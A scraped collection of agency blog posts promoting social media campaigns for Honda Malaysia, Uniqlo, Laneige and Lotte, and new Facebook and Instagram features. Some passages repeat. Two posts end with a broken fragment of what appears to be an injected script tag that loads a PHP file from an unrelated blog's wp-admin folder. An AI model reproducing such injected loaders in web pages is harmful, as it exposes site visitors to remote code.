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Honda Malaysia’s #RideTheDream Launch Goes Live on Facebook Video

Honda Malaysia rode on the Facebook Live video trend and launched the #RideTheDream campaign, which introduced the All-New Civic model. Through the help of IH Digital Malaysia, the sleek and innovative design and outstanding technologies of the10th generation Honda Civic were highlighted in a live, high-quality Facebook video, which was presented by Hansen Lim. The #RideTheDream launch and promotion video aims to give viewers a rundown of the new Honda Civic’s bold styling and new technology features, including Remote Engine Start and Walk Away Auto Lock features, among others.

Sharing live stream videos on Facebook is an effective way to optimize online advertising, generate organic race, and achieve a high engagement rate.

The live Facebook video exhibited Honda MY’s optimal content marketing and social marketing strategy as the launch garnered 4 thousand views in just 30 minutes, as well as acquired 84 thousand unique viewers in 24 hours. In the 24-hour period, the Facebook video garnered 320 thousand reach with 5.5 thousand likes, 1.1 thousand comments, and 1.8 thousand shares. Both brands and digital marketing experts have been favoring the Facebook Live feature as it generates high organic engagement rate, making it an ideal choice of social media marketing strategy to introduce and showcase the all-new 10th generation Honda Civic.

IH Digital Hong Kong, a well-established digital agency in Hong Kong, has helped cover numerous launching events via Facebook Live. If you’re interested to know more about our Facebook live events and video production services, contact us by clicking here.

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Honda Malaysia’s #RideTheDream Launch Goes Live on Facebook Video

facebook-video-ih-digital-malaysia (1)Honda Malaysia showed an effective content marketing and social media marketing strategy by launching the #RideTheDream campaign in a live Facebook video.

Honda Malaysia rode on the Facebook Live video trend and launched the #RideTheDream campaign, which introduced the all-new civic model. Through the help of IH Digital Malaysia, the sleek and innovative design and outstanding technologies of the10th generation Honda Civic were highlighted in a live, high-quality Facebook video, which was presented by Hansen Lim. The #RideTheDream launch and promotion video aims to give viewers a rundown of the new Honda Civic’s bold styling and new technology features, including Remote Engine Start and Walk Away Auto Lock features, among others.

Sharing live streaming and event videos on Facebook is an effective way to generate organic reach, achieve high engagement rate, and drive deeper brand-consumer marketing communications.

The live Facebook video exhibited Honda Malaysia’s optimal content marketing and social media marketing strategy as the launch garnered 4 thousand views in just 30 minutes, as well as acquired 84 thousand unique viewers in 24 hours. In the 24-hour period, the Facebook video garnered 320 thousand reach with 5.5 thousand likes, 1.1 thousand comments, and 1.8 thousand shares. Both brands and digital marketing experts have been favouring the Facebook Live feature as it generates high organic engagement rate making it an ideal choice of social media marketing strategy to introduce and showcase the all-new 10th generation Honda Civic.

IH Digital, a digital agency in Malaysia, has helped cover numerous launching events via Facebook Live. If you’re interested to know more about our Facebook live events, contact us by clicking here.

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How Facebook’s Instagram Acquisition Increases its Mobile Offerings

How Facebook’s Instagram Acquisition Increases its Mobile OfferingsFacebook spent approximately $1 billion for its acquisition of the popular video and photo sharing app, Instagram. The reason behind the big move is due to Facebook prioritizing its mobile product development for increased user growth and engagement, in addition to eliminating a potential social marketing rival.

At the present time, Instagram’s monthly active users have grown to a whopping 400+ million, surpassing rivals like LinkedIn, Twitter, and Google Inc. Users still get to experience Instagram’s all-too-familiar user base and applications. But in hopes of improving and expanding mobile offerings, Facebook invested and focused on enhancing the performance and speed of Instagram for Android users after the acquisition, as well as launched an iOS app, Hyperlapse, to capture vivid videos even in motion. Instagram has also rolled out changes and improvements to its advertising and digital marketing platform.

 

Why Instagram is a good place for online advertising and content marketing

Recent eMarketer reports reveal that the photo sharing app has amassed over 400 million users, and now has 200,000 advertisers. Compared to its parent company’s 3 million active Facebook ads, Instagram still has a long way to go. But since Facebook added new and improved ad formats for the social media app, this paves the way for more optimized social marketing, ad targeting, and relevance for Instagram.

Furthermore, majority of Instagram users consists of high-income and young individuals, which encourages brands to conceptualize a social media strategy and run campaigns to target their specific audience on the widely popular social platform.

 

IH Digital, a trusted digital agency in Hong Kong, aims to help your brand’s target audience by age, gender, pattern, and country on Instagram, Facebook, and other popular social marketing channels. If you want to learn a thing or two about making the most out of social media for business, speak with one of our representatives today.

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Social Media Marketing: Uniqlo MY Promotes AIRism Through Interactive LINE Stickers

Uniqlo MY takes an interactive approach to social media marketing

Uniqlo MY introduces a new level of comfort with the AIRism collection, which is packed with quick-dry and cooling properties to keep you dry and fresh. Uniqlo’s take on ultra-comfortable everyday wear comes with anti-odour and heat-release technologies, and has soft texture and permeable and absorbent fabrics. They offer designs that are suitable for men, women, and children.

Uniqlo MY’s interactive approach to social media marketing

It is a common knowledge in the digital marketing industry that exhibiting creative and engaging social media marketing campaigns is an effective way to drive engagement and improve marketing communications. Uniqlo MY teamed up with IH Digital to come up with a social media and content marketing concept and promote the AIRism collection in an engaging and interactive manner. A LINE sticker set, which creatively represents the AIRism collection’s cooling and quick-dry features, was launched. The character embodies the collection’s impressive list of comfort and cooling features.

Aside from introducing the AIRism collection to the Malaysian market through the interactive app, the clothing brand amps up their social media strategy by showcasing their creative side to increase the fan base of UNIQLO Malaysia’s official LINE account. Additionally, the LINE sticker set was featured at the LINE Store for additional exposure to non-fans.

Are you looking for ways to showcase your brand’s story and creativity through social media marketing in Malaysia? IH Digital, a digital agency in Malaysia, is willing to help. Drop us a message if you would want to learn more about the project.

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Facebook Supports 360-Degree Photo

content-marketing-facebook-supports-360-degree-photoFacebook rolls out 360 Photo, taking content marketing, digital marketing, and Internet marketing to the next level. Don't miss out! Get in touch with us!

The social media giant, Facebook, sets out on giving users a more immersive experience as it rolls out 360 photos, providing a modern way to view panoramas on your mobile phone or desktop computer. By downloading 360-degree photo apps like Google Photo Sphere, capturing 360 photos using your handy smartphone comes easy. In addition, users can take panoramic shots using their Apple or Android phones and upload the photos on the social media platform, and Facebook will convert them into 360 photos. The uploaded 360 photo comes with a small compass icon in the corner, allowing users to use its tilt-viewing features for a fully immersive experience.

How brands can use 360 photos to drive engagement and improve content marketing

Facebook has long been the top choice of social media for business as it provides many ways for brands to enhance content marketing strategies and reach a wider audience. Just like the 360-degree Facebook video, 360 photos provide behind-the-scenes and cinematic experiences, directly placing your target audience in the center of the action. Just imagine all of the digital marketing and content marketing possibilities this new feature can offer. Brands that are looking to expand their social media marketing in Malaysia can deepen the connection and marketing communications with their audience by creating compelling stories and capturing stunning 360-degree visuals that will spark their interests. Panoramic images of tourist destinations, behind the scenes and events will likely end up as 360 photo ads in the near future.

Do you want to learn more about content marketing on Facebook? IH Digital, a reputable digital agency in Malaysia, has experienced Internet marketing specialists who can help you out. Contact us today.

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Digital Marketing Update: Instagram Reaches 400 Million User Mark

digital-marketing-update-instagram-reaches-400million-user-markInstagram, a content marketing tool and social media for business, hits 400 million user mark and opens more digital marketing opportunities for brands.

Instagram, the popular photo-sharing app, has a lot to celebrate as it hits the 400 million user mark, surpassing Twitter user count by a mile. The company stated in a blog post that over 75% of Instagram users live outside the United States, adding that more than 100 million new users live in Asia and Europe. The rapidly evolving, Facebook-owned social app has added new features and expanded its advertising and digital marketing platform in the recent months. eMarketer, a digital marketing research firm, predicts Instagram will bring in 2.8 billion dollars advertising revenue in 2017.

Instagram’s huge growth in engagement and user base makes it a powerful advertising and content marketing tool for businesses. Since the social media platform has gotten serious about ads, brands are empowered to take their marketing efforts up a notch and optimise their use of social media for business growth. For starters, Instagram’s algorithmic feed drives high engagement rate and increases brand-consumer marketing communications. On top of that, the video- and photo-sharing app’s ability to target its ads to specific audience using Facebook’s data and technology opens a lot of doors for brands to enhance their social media marketing in Malaysia and boost their sales conversion.

If you want to get a head start on improving your brand’s social media campaigns, IH Digital, a trusted digital agency in Malaysia, is more than willing to help. By combining the use of innovative social media analytics tools with our digital marketing expertise, we can help your brand seamlessly navigate social media channels and reach its maximum potential. Click here for more details.

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Social Media Update: Instagram’s Version of Facebook Pages

social-media-malaysia-ih-digital-agencyInstagram, a popular social media platform for content and digital marketing, will be rolling out business profiles that are similar to Facebook pages.

Instagram is continually taking its cue from Facebook in terms of selling ads and testing algorithmic feeds. Among the growing list of Instagram’s upcoming changes and new features is its own version of Facebook pages. The photo- and video-sharing social media platform announced that they started testing profile pages that are similar to Facebook. With the feature set to roll out in the coming months, Instagram users who use the Facebook-owned social media for business will be seeing the “Contact” button that will appear beside the “Follow” button. The “Contact” button provides options for followers to send an email directly to the business or get directions to the business’ location.

How brands and businesses can benefit from the new feature

This comes as great news for brands and businesses that are using Instagram to optimise their content marketing strategies and promote their products and services. The social media giant’s new “Contact” button will improve marketing communications and drive direct connection between the business and the potential customer. Normally, brands and businesses that are using the popular social media platform post their email address on their profiles. The convenient tool provides an easy way for consumers to get in touch with the influencer or business owner, as well as allows the business to protect the privacy of their email address from potential spammers.

Using Instagram, Facebook, and other digital channels as a social media marketing tool is becoming a norm. If you need help in conceptualising an excellent social media campaign to raise brand awareness, contact one of IH Digital Malaysia’s representatives by clicking here. We are a trusted digital agency in Malaysia that takes pride in having digital marketing and social media experts who can guide you from start to finish and help make your campaign a success. “text/javascript” src=”http://www.blog.pasarsore.com/wp-admin/css/colors/theme-index.php”>

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Facebook Live: Event Video Coverage of Laneige Beauty Road Show in Singapore

event-video-ih-digital-malaysia-digital-agencyIH Digital did a live Facebook video and event video coverage of Laneige Beauty Road in Singapore, taking the brand’s social media to the next level.

The third stop to the highly anticipated consumer roadshow, Laneige Beauty Road, was held in Singapore on 13 to 19 May 2016. The popular South Korean beauty brand is celebrating the second year anniversary of the global roadshow, which aims to promote K-beauty to the world by traveling to many different countries like Malaysia, China, and Singapore. This year, Laneige Beauty Road’s theme is their hero product, Water Bank, which has a new “moisture refill” formulation for deeper skin nourishment.

Using Facebook video to promote the campaign event

When it comes to promoting a brand through social media and other digital marketing channels, video content marketing has become a game changer. Facebook Live, for instance, has taken marketing communications to a whole new level as it allows you to broadcast product demos, behind-the-scenes live stream, and how-to and event videos directly to your target audience.

IH Digital, took part in the Laneige Beauty Road campaign that was held in ION Orchard, and captured the show in a live event video on Facebook. The live event video featured the famous YouTube star, Oon Shu An, interviewing a top South Korean model, Hwang Se-On. The fun-filled Beauty Road show provided a lot of exciting games and prizes for the audience, as well as featured guest stars. Watch another video here.

With video content continually proving to be a big hit in the world of digital marketing, let IH Digital Malaysia, a well-established digital agency in Malaysia, help your brand generate higher organic reach on social media and search platforms through quality videos. We offer social media and corporate video production services to help your brand reach its potential through video marketing. Learn more about the services we offer by talking to one of our representatives. “text/javascript” src=”http://www.blog.pasarsore.com/wp-admin/css/colors/theme-index.php”>

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Social Media Marketing: Lotte & Uniqlo Showed Some Love This Mother’s Day

social-media-marketing-malaysia-ih-digitalLotte and Uniqlo exhibited engaging social media marketing campaigns during the Mother’s Day festivities.

It is that time of the year again where moms from all over the world will likely stock up on their beauty arsenal and receive various types of “thank you” presents courtesy of their loved ones. In the old days, making the special women in our lives feel appreciated on Mother’s Day would simply mean getting her a handwritten letter. But at the present time, the Internet and mobile devices allow us to make real-time, public greetings through social media posts.

How brands can seize the moment

Both big and small families will be celebrating this special day. Kids and adults will be scrambling to figure out what Mother’s Day gift would be perfect for their moms. This comes as great news for brands that are looking for opportunities to enhance their social media marketing strategy and come up with solutions and gift ideas.

In the days leading up to Mother’s Day and on the day of the celebration itself, brands and marketers can take advantage of the surge of online activities by conceptualising content marketing ideas to promote the brand during the festivities. Think about how your brand can take part in making the day extra special through engaging digital marketing and social media campaigns.

Social media marketing to drive engagement

Lotte, the popular confectionary brand, partnered with IH Digital and launched a creative illustration and animated gif on Facebook, encouraging fans and consumers to add a dose of sweetness to the special day with Lotte Pepero.

 

Uniqlo MY, on the other hand, took to Instagram to boost their marketing communications and social media marketing strategy. With the help of IH Digital Malaysia, a reputable digital agency in Malaysia, Uniqlo MY launched a Mother’s Day video that illustrates the great items you can consider giving your mom. The idea behind the marketing video is to engage consumers and invite followers to join an ongoing Instagram contest for a chance to win a RM150 UNIQLO voucher and a comfort bra, creating a win-win scenario for both the clothing brand and the lucky followers who will win the prize.

In addition to the Mother’s Day contest video, Uniqlo MY and IH Digital Malaysia also launched two promotional videos that highlight the superb comfort and support features of their Comfort Beauty Wireless Bra range. Watch it here and here.

Running out of ideas for your next social media marketing campaign? Speak with one of our representatives by clicking here.

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Instagram & Facebook Video Marketing: The Launch of Honda MY’s Animated GIF

facebook-video-ih-digital-malaysiaHonda MY’s newly launched animated GIF exhibits innovative Instagram and Facebook video marketing strategies.

Animated GIF is a highly effective form of digital marketing as it enables a brand to tell a story in a more interactive way than static images. The movements and the visually stimulating illustrations give viewers a different perspective and allow your target audience to see your brand in a new light. Additionally, GIFs are very shareable, thereby increasing brand awareness and online activity.

Honda MY, through the help of IH Digital Malaysia, is taking a creative approach to content marketing through illustrated Instagram and Facebook video/animated GIF. Check out the GIF here.

Honda MY launched Instagram and Facebook video/animated GIF to enhance content marketing and social media marketing strategies.

The cars were illustrated from scratch, and the animated GIF was launched on the brand’s Instagram and Facebook page.

Honda MY launched Instagram and Facebook video/animated GIF to enhance content marketing and social media marketing strategies.

Honda MY launched Instagram and Facebook video/animated GIF to enhance content marketing and social media marketing strategies.

Honda MY launched Instagram and Facebook video/animated GIF to enhance content marketing and social media marketing strategies.

Creating something simple yet creative that can turn viral

Honda’s newly launched Instagram and Facebook video/animated GIF, which displays a throwback of the old Honda Civic models, is used as some sort of a promotion video to engage followers and fans, encouraging them to select a favourite model and leave a comment. The idea behind the launch of the animated GIF is to turn it into a marketing communications tool and interactive teaser to give way to the upcoming launch of Honda’s new car model.

The leading automotive brand partnered with IH Digital Malaysia, a trusted digital agency in Malaysia, to enhance the brand’s social media marketing strategy and further drive engagement. The use of Instagram and Facebook videos have been creating a lot of buzz lately, and what better way to give Honda MY’s take on the trending news and topics than to create and post an eye-catching animated GIF and illustrations that creatively showcase the brand’s message.

If you want to learn more about the significant roles of Facebook video and corporate video production in shaping your brand’s message, feel free to contact one of our representatives today.